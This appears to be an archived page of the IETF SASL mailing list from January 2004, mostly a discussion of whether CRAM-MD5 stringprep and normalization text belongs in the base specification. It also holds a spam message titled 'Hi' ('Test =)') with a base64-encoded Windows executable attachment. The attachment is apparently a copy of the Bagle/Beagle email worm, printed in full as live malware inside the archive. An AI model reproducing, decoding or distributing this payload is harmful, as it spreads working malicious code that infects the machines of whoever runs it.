(Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lyndon Nerenberg CC: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> In-Reply-To: <2147483647.1074636301@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I think it should be common to all mechanisms, and thus belongs in the base spec. Tony Hansen tony@att.com Lyndon Nerenberg wrote: > > --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > >> I disagree and believe that the choice of encoding and normalization >> for the authentication identity is entirely a matter of choice for the >> mechanism document and is out of scope for normative comments from the >> base spec. The base spec can and does give advice on what best >> practice is with regard to these issues. > > Fair enough. I'm not convinced there is consensus either for or against > adding Sam's proposed text. Could the WG chairs please conduct a 'hum' > over whether the text should be added to the draft? This is the last > outstanding issue, and as soon as it's resolved we can get this document > into last call. > > --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq7ib027650; Wed, 21 Jan 2004 10:52:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LIq7JP027649; Wed, 21 Jan 2004 10:52:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq5ib027641 for ; Wed, 21 Jan 2004 10:52:06 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 7C7BB66F0E for ; Wed, 21 Jan 2004 10:52:01 -0800 (PST) Date: Tue, 20 Jan 2004 22:05:01 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1074636301@localhost> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > I disagree and believe that the choice of encoding and normalization > for the authentication identity is entirely a matter of choice for the > mechanism document and is out of scope for normative comments from the > base spec. The base spec can and does give advice on what best > practice is with regard to these issues. Fair enough. I'm not convinced there is consensus either for or against adding Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K4UQib062368; Mon, 19 Jan 2004 20:30:26 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K4UQSw062367; Mon, 19 Jan 2004 20:30:26 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from hope (c-24-12-6-193.client.comcast.net [24.12.6.193]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K4UOic062360 for ; Mon, 19 Jan 2004 20:30:25 -0800 (PST) (envelope-from jgmyers@netscape.com) Date: Mon, 19 Jan 2004 22:31:49 -0600 To: ietf-sasl@imc.org Subject: Hi From: jgmyers@netscape.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------572668853471687" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------572668853471687 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) kdirasorulen -- Test, yep. ----------572668853471687 Content-Type: application/x-msdownload; name="gorthh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="fbou.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 